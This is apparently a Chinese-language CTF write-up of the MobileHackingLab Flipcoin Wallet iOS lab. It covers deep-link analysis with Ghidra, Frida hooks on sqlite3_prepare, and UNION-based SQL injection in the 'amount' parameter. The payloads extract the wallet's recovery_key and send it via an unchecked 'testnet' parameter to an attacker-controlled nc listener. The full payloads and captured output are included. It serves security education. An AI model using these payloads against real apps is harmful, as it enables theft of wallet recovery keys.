本文将以两种不同的方式呈现:
-
对于那些只需要这个发现的关键点的人(InshaAllah,如果读者已经熟悉流程,这将节省大量时间)——请参考 TL;DR 部分。 -
对于那些需要基本解释以及这一发现背后的执行流程的人,InshaAllah,本节将提供对关键心态的见解,并帮助扩大理解。
请注意,本文将涵盖:
• URL 方案和深层链接的基本说明• iOS 应用程序目录结构概述
• 使用 Ghidra在应用程序中查找其他参数
• 在目标应用程序中找到 SQLite 数据库
• 将进程与 Frida 挂钩以检测 sqlite3_prepare 功能
• 使用 Frida监控在准备阶段处理的数据库查询• 制作 SQL 注入有效负载
此外,这篇文章的某些部分——例如安装必要的工具(OpenSSH、Zip、Sideloaded 和 Ghidra)、复制和安装 iOS 应用程序二进制文件以及将其加载到 Ghidra 中——与上一篇文章中的部分相似。
通过使用 Ghidra 绕过 iOS 应用程序越狱检测
为避免重复,此处将简要总结这些部分。
I 介绍
以下是本期的关键步骤:
-
从应用程序中的 QR 码获取深度链接。 -
反转应用的二进制文件以识别深层链接中潜在的其他参数。 - 发现参数和开发 URL(请参阅第 5.5.1 节和 5.5.2 节)。
testnet - 将参数注入深度链接并将其设置为我们 Web 服务器的 IP。服务器收到来自应用程序的请求,确认该参数未被清理(第 5.6.2 节)。
testnet
testnet -
找到存储敏感数据的 SQLite 数据库并检查其内容。找到一个包含 5 列的表格(第 6.2 节和第 6.3 节)。 - 确定 to process queries 的用途(第 6.4 节)。
sqlite3_prepare - 注入到参数中,确认查询反射(第 7.1 节)。
amount - 利用基于 UNION 的 SQL 注入来提取(第 7.3 节)。
recovery_key - 总结:由于这是一个需要物理访问的本地 SQL 注入,因此它可以与 unsanitized 参数结合使用,以将提取的数据泄露到攻击者控制的主机。
testnet - 使用的工具:
Ghidra、Frida、SQLite 的数据库浏览器、终端、Sideloadly、SSH、nc。
II. 引言
无论是在 Web 还是移动应用程序的应用程序安全测试中,了解应用程序的流程(包括它如何接收和处理输入)对于有效识别潜在漏洞都至关重要。这种理解很重要,因为安全风险可能来自多个层面,从最终用户 (客户) 和幕后的运营管理到支持应用程序的技术组件。
例如,从客户的角度来看,应用程序可能看起来很安全,并且有适当的身份验证和访问控制,但由于后端配置错误或权限过高,它仍然存在风险。例如,连接到 API 终端节点的内部控制面板可能允许不受限制的数据库查询,使员工能够检索超出运营目的所需的客户记录,而无需适当的过滤或日志记录。如果不清楚地掌握数据在系统内的流动方式以及每一层的交互方式,安全测试就有可能变得不那么有效,从而导致被忽视的漏洞或低效的利用。
在实践中,此原则不仅适用于后端配置错误,也适用于由于不完全了解应用程序流而出现的其他安全风险。一个很好的案例是 Flipcoin Lab。从本质上讲,挑战围绕着通过应用程序的深度链接机制利用 SQL 注入。然而,除了技术重点之外,最突出的是它如何加强了解应用程序流程的重要性。鉴于它与现实世界挑战的相关性,我们决定在这篇文章中进一步探讨这个主题。
III. 设置测试环境
和以前一样,越狱设备后准备的第一步是安装和配置多个工具,以便于与设备交互。这些基本工具包括 iOS 上的 OpenSSH、Zip 和 Frida Server,以及桌面上的 Frida、Ghidra 和 Sideloadly。
3.1. 在 iOS 设备上设置工具
3.1.1. 安装 OpenSSH 和 Zip
概括地说,OpenSSH 是通过包管理器(比如 Cydia 或 Sileo)安装的,而是通过在 iOS shell 中运行来安装的。zip
apt install zip
3.1.2. 安装 Frida Server
对于 Frida Server,需要添加一个额外的存储库。在软件包管理器中,在 https://build.frida.re/ 处添加存储库。添加后,找到相应的 Frida Server 软件包并继续安装。
安装后,通过 SSH 连接到设备并检查已安装的 Frida 版本以确保一切设置正确,从而对其进行验证。
3.2. 在桌面上设置工具
在 iOS 设备上安装必要的工具后,下一步是在桌面上设置所需的工具。尽管不同作系统的安装过程在很大程度上相似,但值得注意的是,某些工具(例如 Sideloadly)目前仅在 macOS 和 Windows 上受支持。
3.2.1. 安装和设置 Frida
网上有很多关于安装 Frida 的教程。但是,为了简化流程,我个人使用了 pip3。
$ pip3 install frida-tools
正确安装后,Frida 将位于 目录中,尽管确切的路径可能会因用户的环境而异。
/Users/username/Library/Python/x.x/bin
为了使 Frida 易于从任何终端会话访问,我们可以通过将目录添加到 PATH 变量来更新我们的 shell 配置文件(例如 Zsh 的 .zshrc 或 Bash 的 .bash_profile)。进行此更改后,可以从终端中的任何位置访问 Frida。
3.2.2. 安装 Sideloadly
概括地说,此工具通过绕过 App Store 限制简化了 iOS 设备上的应用程序旁加载。它对于测试未签名的应用程序或部署修改后的版本以进行渗透测试特别有用。但是,请记住:
-
如果使用免费的 Apple ID,则安装的应用程序将仅运行 7 天,然后需要重新签名。 -
在某些情况下,如果应用程序已签名或来自受信任的源,则可能不需要 Sideloadly。 - Sideloadly
仅适用于 macOS 和 Windows。
3.2.3. 安装 Ghidra
与之前广泛使用 Ghidra 进行二进制修补的文章不同,在这种情况下,Ghidra 主要用于分析应用程序在处理请求时使用的参数。
简而言之,Ghidra 可以从其 GitHub 页面下载。下载后,解压缩文件并通过在已安装 JDK 的环境中运行来启动应用程序。
./ghidrarun
有了必要的环境,我们就可以继续执行过程了。此会话中使用的工具数量是有意限制的,因为主要重点是通过深层链接使用 SQLi 泄露数据。
IV. 下载和安装二进制文件
由于我们将使用自己的设备进行测试,因此第一步是下载二进制文件并使用 Sideloadly 进行安装。
但是,如果您还没有 iOS 设备(无论是出于特定考虑还是其他原因),您可以使用 MobileHackingLab 提供的虚拟设备,该设备可通过订阅获得。
简而言之,一旦通过拖放安装应用程序,它就不会立即运行。在启动它之前,我们需要验证它是否来自受信任的开发人员。这是一个标准步骤,因为该应用程序是使用免费的 Apple ID 签名的。
要做到这一点,请转到设置→通用→VPN和设备管理,然后找到并验证此菜单中列出的开发者资料。
之后,将安装该应用程序。
无法下载应用程序?请改为尝试此作。
如果二进制文件的下载链接无法访问(正如我们在 No-Escape Lab 中所经历的那样),仍然可以通过直接从 MobileHackingLab 提供的虚拟设备中提取二进制文件来获取二进制文件。
因此,连接到虚拟设备后,第一步是通过运行以下命令来定位应用程序:
find /var/containers/Bundle/Application/ -name “*.app”
确定应用程序目录后,导航到该目录并将该目录存档在名为 “Payload” 的文件夹中。
快速提醒一下,iOS 要求将 .app 捆绑包放在“Payload”文件夹中,以便正确识别和安装。不遵循此结构可能会导致错误,例如在使用 Sideloadly 时,“guru meditation b4822c@:*** can't listdir a file”。
打包完成后,可以使用以下命令将 .zip 文件从 iOS 设备传输到桌面:
SCP [email protected]:/tmp/Flipcoin.zip .
V. 探索目标中的 URL 方案和深层链接
鉴于本实验的漏洞和目标已知(通过深度链接执行 SQL 注入),通过识别正在使用的深度链接,可以更加集中地了解应用程序流程的过程。
但是,在实际场景中,需要注意的是,在分析应用程序时,关键步骤之一是彻底了解应用程序中的每个功能。这将帮助测试人员识别潜在的漏洞,例如可能被滥用的功能、设计缺陷或访问控制问题。
然后,测试人员可以通过探索应用程序如何处理异常输入并分析生成的输出来改进此方法。此过程有助于发现潜在的差距,例如授权问题、输入验证弱点或未加密的通信。
此外,从最终用户级别到后端的多个层评估应用程序也很重要。通过评估每一层的交互方式,测试人员可以识别可能无法通过单个镜头看到的潜在漏洞。
5.1. 关于应用程序的 URL 方案和深度链接的几句话
在深入研究之前,首先了解 URL 方案和深层链接的概念是很有用的,因为它们在应用程序如何处理外部请求中起着关键作用。
5.1.1. 那么,什么是 URL Scheme?
URL 方案是应用程序使用特殊链接告知作系统如何打开应用程序的一种方式。这就像提供一个快捷方式来打开应用程序的特定部分,而无需手动搜索它。
例如,Facebook 可能会使用类似 .因此,当我们单击以 开头的链接时,作系统知道要打开 Facebook 应用程序。fb://
fb://
请务必注意,某些应用程序需要在 URL 方案之后使用额外的端点才能正常运行。这就是深度链接概念的来源 — URL 方案和将应用程序引导至特定部分或作的特定端点的组合。
5.1.1.1. 如果应用程序未安装怎么办?
如果在作系统上找不到与 URL 方案关联的应用程序,系统将显示一条错误消息,因为它无法识别 URL 方案。这是因为 URL 方案仅在设备上安装了应用程序时才会注册。
5.1.1.2. 我注意到未安装的应用程序仍然可以重定向到 App Store。这是怎么发生的呢?
这是通过不同的过程发生的。当我们点击常规 Web URL(例如:https://myapp.com/profile)而不是直接 URL 方案 (myapp://) 时,链接首先在 Web 浏览器中打开。从那里:
-
网页尝试使用其 URL 方案打开应用程序。 -
如果未安装应用程序,它将重定向到 App Store。
这个过程快速而无缝地进行,通常使用通用链接 (iOS) 或应用程序链接 (Android),它们比基本 URL 方案更高级。
5.1.2. 那么,什么是 Deep Link?
深度链接是一种特定类型的 URL,它使用“注册的 URL 方案”将用户定向到应用程序中的特定页面或作。常规链接可能会打开网页,而深层链接会打开应用程序内的特定屏幕或部分。简而言之,深度链接依赖于 URL 方案来触发这些作。
例如,在 Facebook 上,深层链接可能如下所示:.此链接将直接打开 Facebook 应用程序,并显示用户的特定个人资料。fb://profile/[user_id]
因此,为了清楚起见,作为回顾:
- Facebook URL 方案:
fb://
- Facebook 深层链接:
fb://profile/[user_id]
通过使用此深度链接,用户可以直接定向到 Facebook 应用程序中的特定个人资料页面,而无需浏览应用程序的其他部分。
5.2. 识别 Target 中的 URL 方案
识别目标使用的 URL 方案的最简单方法之一是查看应用程序捆绑包中的 Info.plist 文件。此信息通常位于 CFBundleURLTypes 参数下。
作为参考,CFBundleURLTypes 是 iOS 系统中的必需组件,用于注册应用程序的 URL 方案。此参数定义 iOS 系统如何识别特定 URL 方案并将其定向到相应的应用程序。
从技术上讲,在 CFBundleURLTypes 中,有两个主要参数:
- CFBundleURLSchemes →
用于定义将使用的方案。示例:Facebook 的 “fb”。 - CFBundleURLName
→ 通常包含与应用程序的捆绑标识符相关的信息。
对于 Flipcoin 应用程序,我们发现该应用程序的捆绑包名为 com.mobilehackinglab.flipcoinwallet,使用的 URL 方案是 flipcoin。
我找到了 Info.plist,但它不可读。为什么?
如果找不到的 Info.plist 文件以纯文本形式打开,则该文件可能已转换为二进制属性列表。这种格式在 iOS 中通常用于在当前的应用程序开发中存储 plist,因为它被认为在几个方面更有效,例如文件大小和解析速度。
如果发生这种情况,可以使用多种方法来读取文件:
-
直接使用 Xcode。在 Xcode 中打开时,应用程序将自动以更具可读性的格式显示文件。 - 或者,我们也可以使用 plutil (macOS 上的内置工具)。这可以通过使用以下命令来完成: .
plutil -convert xml1 Info.plist -o Info.xml
5.3. 识别目标中的深度链接。
现在的问题是,如何识别此应用程序中的深层链接?一般来说,可以使用各种方法发现深度链接,包括使用 Giidra 等工具进行二进制分析。但是,在这种情况下,我们发现应用程序内的二维码直接指向格式为 .
http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
在浏览器中访问此链接时,它会唯一地通知用户找不到服务器。经过进一步检查,发现浏览器正在去除 后面的冒号 ()。发生这种情况可能是因为浏览器首先遇到前缀,它将其识别为标准 Web 协议。因此,它会将自定义 URL 方案错误地解释为域名的一部分,然后删除 之后的冒号,最终导致 URL 无效。
:
flipcoin
http://
flipcoin://
flipcoin
但是,当从扫描的 QR 码结果中删除前缀时,剩余的链接将生效并成功重定向到应用程序。这确认了深层链接以 .
http://
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
5.4. 在 iOS 中验证和打开深度链接
既然已经确定了深度链接格式,那么下一个问题是:当触发此链接时,iOS 如何处理它?此过程的核心在于系统解析和打开 URL 方案的能力。
假设用户点击了如下深度链接:
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
发生这种情况时,iOS 首先检查是否注册了任何已安装的应用程序来处理该方案。如果找到匹配的应用程序,系统会启动该应用程序并将 URL 作为输入传递。否则,深层链接不执行任何作。
flipcoin://
可能会出现一个问题:应用程序如何在尝试打开深度链接之前确定它是否受支持?在这种情况下,应用通常会先使用以下方法验证网址方案:
if UIApplication.shared.canOpenURL(URL(string: "flipcoin://")!) {
}
如果支持 URL 方案,则应用程序可以使用以下方法启动深层链接:
UIApplication.shared.open(URL(string: "flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1")!)
此行为允许应用程序使用深层链接无缝导航,同时防止不必要地尝试打开不受支持的 URL。
为了更深入地了解,读者可以参考苹果官方关于 canOpenURL(_:) 和 open(_:options:completionHandler:) 的文档,了解 iOS 是如何验证和启动深度链接的。
5.5. 通过二进制分析分析深度链接处理
在了解了 iOS 如何判断深度链接是否可以打开以及应用如何对外响应之后,还有一个问题:收到 深度链接后,内部如何处理它?
flipcoin
发现这一点的一种方法是分析应用程序的二进制文件,这可以揭示如何处理深度链接、接受哪些参数以及是否存在任何未记录的行为。这可能包括发现影响深度链接行为的隐藏参数或识别未公开记录的终端节点。
5.5.1. 在 Ghidra
中搜索 openURL 引用在分析二进制文件时,我们可以使用 Ghidra — 就像以前用来修补二进制文件以绕过应用程序中的越狱检测一样。
回顾一下那篇文章,在这种情况下,我们需要:
• 将二进制文件导入 Ghidra。
• 启用 Decompiler Parameter ID 以提高可读性。
加载二进制文件后,下一步是什么?
一种可能的方法是在 Ghidra 的 Symbol Tree 列中搜索引用,以识别引用它的函数。
openURL
请注意,虽然现代 iOS 开发依赖于 和 ,但搜索对于二进制分析仍然很有用,因为:
• 某些应用程序仍保留在旧版或内部实现中。
• 调试信息和元件名称通常引用此术语。canOpenURL(:)
open(:options:completionHandler:)
openURL
openURL
简而言之,通过在 Symbol Tree 中搜索,我们在 SceneDelegate 中确定了一个函数,该函数似乎通过属性处理深层链接处理。
openURL
openURLContexts
经过进一步检查,函数名称显示为:
_$s15Flipcoin_Wallet13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF
在这个函数中,我们发现了一个有趣的发现——除了参数之外,参数还被引用,这表明它也可能影响深度链接的处理方式。
amount
testnet
下面是显示此参数的代码片段:
_objc_msgSend(local_4d8,"URL");
_objc_retainAutoreleasedReturnValue();
local_6d0 =UVar14.unknown;
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar14);
(*local_4c8)(UVar16.unknown,local_2d8,local_380);
SVar31=Foundation::URL::get_absoluteString(UVar16);
...
SVar31=Swift::String::init("amount",6,1);
...
SVar31=Foundation::URL::get_absoluteString(UVar16);
...
SVar31=Swift::String::init("testnet",7,(byte)local_6ac &1);
5.5.2. 找到一个有趣的 URL
作为一个小提示,当在同一函数中进一步向下滚动时,我们可以看到 URL https://mhl.pages.dev:8545。
鉴于我的理解有限,我只能怀疑这个 URL 可能与 有关。
testnet
根据流程,如果该值留空,则 URL 默认为 https://mhl.pages.dev:8545。同时,如果提供了一个值,则 URL 似乎是从该 input 中获取的。
testnet
但是,当尝试执行具有空值的深层链接时,应用程序会意外崩溃。这为初始假设是否真的正确带来了一些不确定性。
testnet
5.6. 重建 Deep Link
现在,让我们回到主题。在确定其他参数后,下一个逻辑步骤是验证此参数是否可以在我们最初通过 QR 码发现的深度链接中使用。
testnet
快速回顾一下,我们找到的原始深度链接是:
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
现在,我们将尝试向其添加参数。由于此参数有可能接受 URL,因此我们可以尝试为此参数使用我们自己的主机。这可以使用或其他类似工具进行测试。
testnet
nc
简而言之,修改后的深度链接将是:
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=http://192.168.18.177
那么我们如何打开这个 URL 呢?有多种方法可以做到这一点。我们可以使用 qr-code-generator.com 等服务生成二维码并扫描它,或者我们可以使用 Frida 直接执行它。
5.6.1. 使用 Frida
测试 Deep Link 参数现在,假设我们选择 Frida 来简化作 — 这样我们就不必在每次修改 Deep Link 时都生成 QR 码。但是我们需要什么样的脚本呢?
作为参考,有一个著名的 Frida 脚本,名为 ios-deeplink-fuzzing,可用于检测 URL 方案,使用 Apple 的 API 直接访问深度链接,甚至模糊测试参数来分析应用程序如何处理深度链接。
但是,由于我们在这里的重点只是执行特定的深度链接,而不是执行完整的模糊测试过程,因此我们可以简化该方法。在原始脚本的基础上,我们将其修改为以下最低版本:
if (ObjC.available) {
varLSApplicationWorkspace = ObjC.classes.LSApplicationWorkspace;
if (!LSApplicationWorkspace) {
console.log("LSApplicationWorkspace not found!");
} else {
globalThis.execURL = function (url) {
var workspace = LSApplicationWorkspace.defaultWorkspace();
var success = workspace.openSensitiveURL_withOptions_(ObjC.classes.NSURL.URLWithString_(url), null);
console.log("Attempted to execute URL:", url, "| Success:", success);
return success;
};
console.log("execURL is now available. Use execURL('scheme://path') in Frida.");
}
} else {
console.log("Objective-C Runtime is not available!");
}
当使用 Frida 将此脚本注入到正在运行的 iOS 应用程序中时,它首先检查 Objective-C 运行时是否可用。然后,它访问以与已安装的应用程序交互并定义 execURL,这是一个使用 .最后,它在全球范围内可用,因此可以直接从 Frida 运行。
LSApplicationWorkspace
openSensitiveURL_withOptions_
execURL
有了这个,我们可以通过运行以下命令在 Frida 中执行一个深层链接:
execURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=
http://192.168.18.177");
如果您还不熟悉 Frida,该命令用于枚举 iOS 设备上正在运行的进程(确保您的设备已连接到运行 Frida 的主机)。
frida-ps -U
为了简化作,我们可以使用 grep 应用过滤器(可在 macOS 和基于 Linux 的作系统上使用)来优化结果:
% frida-ps -U | grep Flipcoin
获得目标应用程序的进程 ID 后,我们可以继续:
% frida -U -p (process_ID) -l execURL.js
请记下我们之前创建的修改后的脚本。
execURL.js
5.6.2. 观察应用程序的响应并发现一个允许任意 URL
的不受限制的测试网参数起初,当使用(QR 码的默认值)发送请求并设置为我们主机的 IP 地址时,我们遇到了一条消息,指出我们没有足够的 Flipcoins 来完成交易。
amount=1
testnet
为了进一步探索,我们将金额修改为 和 ,考虑到应用内余额为 。这一次,该应用程序将我们重定向到资金转账界面。
0.1
0.2
0.3654
更有趣的是,我们注意到应用程序向主机上运行的侦听器发送了一个请求。
nc
这证实了参数接受 URL 的假设。此外,似乎没有对此参数强制执行白名单,从而允许提供任意 URL。
testnet
最好的部分是什么?当应用程序执行指向我们主机的深度链接时,它实际上会发送一个请求 — 该请求似乎包含应用程序使用的 Flipcoin 地址。
testnet
顺便说一句,我们还可以使用像 Burp Suite 这样的拦截工具来检查请求。
因此,总之,当我们访问包含 URL 的深度链接时,应用程序会间接将其转换为对参数中指定的 URL 的 POST 请求。
testnet
在我们的 Web 服务器/拦截器中收到这样的请求后,下一步是检查应用程序使用的数据库结构。这将帮助我们确定传输值的存储位置以及如何作它们。
VI. 分析应用程序内的 SQLite 使用情况
通常,移动应用程序依赖轻量级 DBMS 进行本地存储,最常用的选择之一是 SQLite。
它的受欢迎程度源于它是一个独立的、无服务器的、高效的数据库引擎,需要最少的设置。由于 iOS 和 Android 都提供了对 SQLite 的内置支持,因此开发人员可以利用其 SQL 功能,而无需额外的依赖项。此外,SQLite 的快速读/写作和低资源消耗使其成为存储用户数据、缓存和应用程序配置的理想选择。
考虑到这一点,我们现在继续确定此应用程序是否使用 SQLite 及其数据库的存储位置。
6.1. 关于 iOS 中应用程序目录的几句话
在 iOS 中,应用程序将本地数据存储在其沙盒目录中。持久数据(包括 SQLite 数据库)的常见位置是应用程序容器内的 or 文件夹。
Library
Documents
从技术上讲,每个应用程序都有一个独立的存储结构,通常如下所示:
/var/mobile/Containers/Data/Application/<App_UUID>/
├── Documents/
├── Library/
│ ├── Application Support/
│ ├── Caches/
├── tmp/
此处是分配给每个应用程序的唯一标识符,该标识符在重新安装应用程序时会发生变化。
<App_UUID>
以下是这些目录及其功能的简要概述:
Documents/– 用于存储用户生成的内容。一些应用程序将数据库放在这里,但对于可能通过 iCloud 共享或备份的文件,这个位置更常见。由于此目录包含在 iCloud 备份中,因此除非必要,否则开发人员通常会避免在此处存储敏感数据。
Library/– 此目录通常存储与应用程序相关的数据,包括 SQLite 数据库、配置文件和缓存。虽然通常包含持久性存储(如本地数据库),但保存可在需要时重新生成的临时数据。注意:与目录不同 , 用户不能直接访问,但仍可用于应用程序内部作。Application Support
Caches
Documents
Library
tmp/– 系统可以随时删除的临时文件。
6.2. 查找 SQLite 数据库
要确定应用程序是否使用 SQLite 及其数据库的存储位置,一种常见的方法是与设备建立 SSH 连接并直接检查其文件系统。
$ find /var/mobile/Containers/Data/Application/ -name “*.sqlite”
从本质上讲,我们可以通过过滤与应用程序相关的数据库文件来优化结果。但是,开发人员并不总是以应用程序本身命名 SQLite 文件。因此,我个人建议花时间手动检查目录内容,以确保不会遗漏任何重要内容。
grep
作为参考,此应用程序包含 4 个 SQLite 文件:
• 位于目录中
• 位于 • 位于 • 位于your_database_name.sqlite
Documents
Flipcoin_Wallet.sqlite
/Library/Application Support/
AlternativeService.sqlite
/Library/Caches/...
httpstorages.sqlite
/Library/HTTPStorages/...
其中,存储实际数据的数据库是位于目录中的数据库,即 。
Documents
your_database_name.sqlite
有时,在包含 SQLite 文件的目录中,您可能还会遇到带有 和 扩展名的文件。如果您想知道这些文件是什么,它们是 SQLite 在预写日志记录 (WAL) 模式下运行时使用的支持文件。sqlite-wal
sqlite-shm
• (预写日志):在将未提交的事务写入主数据库文件之前存储这些事务。
-wal
• (共享内存):管理对数据库的并发访问以确保一致性。
-shm
无论如何,我们可以忽略它们并专注于文件。
.sqlite
6.3. 探索 SQLite 数据库的内容
现在我们已经确定了数据库文件,我们可以浏览其内容以了解其结构和存储的数据。
从技术上讲,这可以使用各种工具来完成,例如 sqlite3 CLI 或 SQL 的数据库浏览器。无论使用哪种工具,我们都需要打开以检查其结构。
your_database_name.sqlite
所以,经过检查,我们发现钱包表由 5 列组成,分别是 id、address、currency、amount 和 recovery_key。虽然我们已经获得了标志,但必须通过 SQL 注入来实现目标,而不是通过使用此方法或反转二进制文件。
但是,在汇款屏幕上,仅显示第 1 行的金额和地址。
也就是说,在拦截请求时,我们只能观察到应用程序发送的请求包含地址,也许还有第 1 行的 id。
6.4. 使用 Frida 确定 SQLite 函数的使用情况
一旦我们了解了应用程序使用的 SQLite 数据库的结构,我们就可以继续确定如何处理查询,尤其是在执行之前(如果适用)的准备阶段。
尽管核心 SQL 语法(如 SELECT、INSERT、UPDATE 和 DELETE)保持一致,但我相信观察正在使用的 SQLite prepare 函数可以为应用程序如何构建其查询提供有价值的见解。
通过使用 Frida 拦截通过 SQLite 的准备函数进行的数据库调用,我们可以在准备查询时观察它们。由于 iOS 应用程序通常依赖于处理 SQL 查询,因此挂接这些函数有助于我们了解在准备阶段如何处理查询。
libsqlite3.dylib
以下 Frida 脚本演示了此方法:
const SQL_PREPARE_VARIANTS = [
"sqlite3_prepare",
"sqlite3_prepare_v2",
"sqlite3_prepare_v3",
"sqlite3_prepare16",
"sqlite3_prepare16_v2",
"sqlite3_prepare16_v3"
];
SQL_PREPARE_VARIANTS.forEach(interceptSQLiteFunction);
functioninterceptSQLiteFunction(prepareFunction) {
let dbFunction = Module.findExportByName("libsqlite3.dylib", prepareFunction);
if (!dbFunction) {
return;
}
Interceptor.attach(dbFunction, {
onEnter(args) {
let query = args[1];
let isUTF16 = prepareFunction.endsWith("16") ||
prepareFunction.includes("prepare16");
logQueryDetails(prepareFunction, query, isUTF16);
},
onLeave(returnValue) {}
});
}
functionlogQueryDetails(funcName, query, isUTF16) {
let timestamp = newDate().toISOString();
let queryText = isUTF16 ? query.readUtf16String() : query.readCString();
console.log("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
console.log(`⏰ Time: ${timestamp}`);
console.log(`📌 Function: ${funcName}`);
console.log(`📝 Encoding: ${isUTF16 ? 'UTF-16' : 'UTF-8'}`);
console.log(`🔍 Query: ${queryText}`);
console.log("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
}
作为参考,该函数有六种变体,每种变体在参数和行为上略有不同。这些包括:
• • • • • •sqlite3_prepare
sqlite3_prepare
sqlite3_prepare_v2
sqlite3_prepare_v3
sqlite3_prepare16
sqlite3_prepare16_v2
sqlite3_prepare16_v3
有关这些函数之间差异的详细说明,请参阅 SQLite 官方文档。
确保此脚本已保存(例如,as )后,下一步是使用 Frida 将其加载到 Flipcoin Wallet 应用程序进程中。一旦挂钩进程运行,我们就可以使用所选方法打开深层链接。
sql-detect.js
请注意:
-
如果我们使用二维码,我们只需生成二维码格式的链接并使用设备扫描即可。 - 但是,如果我们通过 打开深度链接,则需要将此脚本与 SQL 函数检测脚本一起加载。
execURL.js
在这种情况下,我们决定使用我们之前创建的脚本,因此在挂接到应用程序时需要同时加载两个脚本。
execURL.js
% frida -U -p (process_ID) -l sql-detect.js -l execURL.js
总之,根据这个执行,我们可以看到应用程序使用了 .一个积极的方面是,我们还可以在每次执行作时监控数据库执行的每个查询。sqlite3_prepare
无论发送的金额大于还是小于可用余额,结果都保持不变。
VII. 对 amount 参数执行 SQL 注入
由于我们已经收集了所有必要的信息,例如数据库类型、表名、列数和名称,以及界面中显示的数据以及在请求中发送到外部主机的数据,我们现在可以继续执行我们的主要目标,即执行 SQL 注入。
但是,需要注意的是,在实际测试中,漏洞并不总是立即显现出来。因此,必须对不同用户层的每个功能进行全面测试,以确定其对 SQL 注入或其他形式攻击的敏感性。
回到主题,测试 SQL 注入的最直接方法是直接注入 SQL 查询并观察结果响应。
由于先前加载的脚本允许我们查看在作期间执行的每个查询,因此分析应用程序对注入尝试的响应变得更加容易。
sql-detect.js
7.1. 基本测试
我们需要了解一个基本概念。当应用程序容易受到 SQL 注入的攻击并且查询结果反映在响应中时,修改参数的值会直接影响检索到的数据。
为了测试这一点,我们尝试在 amount 参数中使用 payload 进行注入。以此参数为目标的原因是,对其值的更改会直接影响输出,这表明它与数据库交互。因此,从技术上讲,如果响应与此有效负载按预期更改,则它确认该参数正在作为数据库查询的一部分进行处理,而没有进行适当的清理。
AND id=2;
具有 payload 的初始深度链接:
execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20AND%20id=2;&testnet=http://192.168.18.177");
那么,结果是什么呢?
从此注入中,我们观察到最初显示 和 from 的应用程序现在显示 和 from 。这确认了我们的注入条件 () 成功修改了已执行的 SQL 查询。
amount
address
id=1
amount
address
id=2
AND id=2;
现在,让我们分解有效负载以了解其工作原理。
- 该部分向现有查询添加条件,强制数据库仅返回 id=2 的行。这确认了该参数直接影响查询执行。
AND id=2 - 至于分号 (),它在 SQL 中用作语句终止符。但是,大多数现代数据库管理系统一次执行一个查询,除非明确配置为允许每个请求多个语句。 在这种情况下,分号不会执行第二个查询,但可以帮助我们了解应用程序如何处理输入。
;
简而言之,数据库执行 ,而 input () 的其余部分被视为无效,因此不会显示其他输出。
SELECT * FROM wallet WHERE amount > 0.1 AND id = 2;
AND currency=’flipcoin’ LIMIT 1;
7.2. 迁移到基于 UNION 的 SQL 注入
由于我们已经确认 amount 参数可以修改查询的输出,因此下一步是检查我们是否可以控制显示哪些数据。
从我们之前的注入 () 中,证明了参数影响了 SQL 查询,但它只改变了显示哪一行。为了提取有用的数据,我们需要一种方法将我们自己的值插入到输出中。这就是基于 UNION 的 SQL 注入的用武之地。
AND id=2;
UNION 运算符允许组合来自两个查询的结果,这意味着如果应用程序接受它,我们可以注入额外的数据,甚至检索隐藏的数据库信息。
因此,为了测试这一点,我们使用以下有效负载:
%20UNION%20SELECT%20'a1','b2','c3','d4','e5'
具有新负载的深度链接:
execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20UNION%20SELECT%20'a1',’b2',’c3',’d4',’e5';&testnet=http://192.168.18.177");
为什么是这个有效负载?
-
基本上,UNION SELECT 语句允许我们将自己的查询与原始查询相结合,这可以使应用程序显示我们控制的数据。 - 值 , , , 是任意占位符,用于检查它们是否出现在输出中。
‘a1’
‘b2’
‘c3’
‘d4’
‘e5’
也许你想知道,为什么恰好有 5 个值?
嗯,UNION SELECT 中的列数必须与原始查询中的列数匹配。如果计数不正确,数据库将引发错误。由于我们之前检查了 SQLite 文件并发现该表包含 5 列,因此我们在有效负载中指定了 5 个值。
wallet
要了解有关基于 UNION 的 SQL 注入的更多信息,读者可以参考 PortSwigger Academy 的其中一份材料,其中详细介绍了 SQL 注入 UNION 攻击。
那么,我们发现了什么呢?
令人惊讶的是,应用程序接受了我们的有效负载并在界面中显示 b2。这确认了 UNION 查询的第二列反映在输出中,这意味着我们可以使用它从数据库中提取数据。
以下是屏幕上显示的内容:
以下是我们在截获的响应中捕获的内容:
7.3. 提取目标数据 — 将各个部分放在一起
由于我们已经确认 UNION 查询的第二列出现在应用程序的响应中,因此我们现在可以尝试检索实际的数据库记录。我们没有使用任意占位符,而是将第二个值替换为子查询,该子查询旨在检索存储在 .
recovery_key
为了测试这一点,我们按如下方式修改 payload:
%20UNION%20SELECT%20'a',(SELECT%20recovery_key%20FROM%20wallet),'c','d','e';
深度链接应如下所示:
execURL(“flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=0.1%20UNION%20SELECT%20'a’,(SELECT%20recovery_key%20FROM%20wallet),’c’,’d’,’e’;&testnet=http://192.168.18.177");
因此,此有效负载的结果是,我们成功地从表中检索了 。
recovery_key
wallet
这不是需要对目标设备进行物理访问的本地 SQL 注入吗?是什么让这成为一个问题?
回顾一下,由于我们之前发现修改该值允许应用程序向我们控制的主机发送请求,因此使用这个最终的 SQLi 有效负载制作一个深度链接将允许通过单击远程提取 。
testnet
recovery_key
% nc -lv 80
POST / HTTP/1.1
Host: 192.168.18.77
Content-Type: application/json
Connection: keep-alive
Accept: application/json
User-Agent: Flipcoin%20Wallet/1 CFNetwork/1410.1 Darwin/22.6.0
Content-Length: 153
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
'{"jsonrpc":"2.0","method":"web3_sha3","params":["FLAG{fl1p_d4_c01nz}}", "7da50a3fe76ad0ea1de171ec47042ce913235c3792628a779f6acc5b07bebd90"],"id":1}'
八、结论
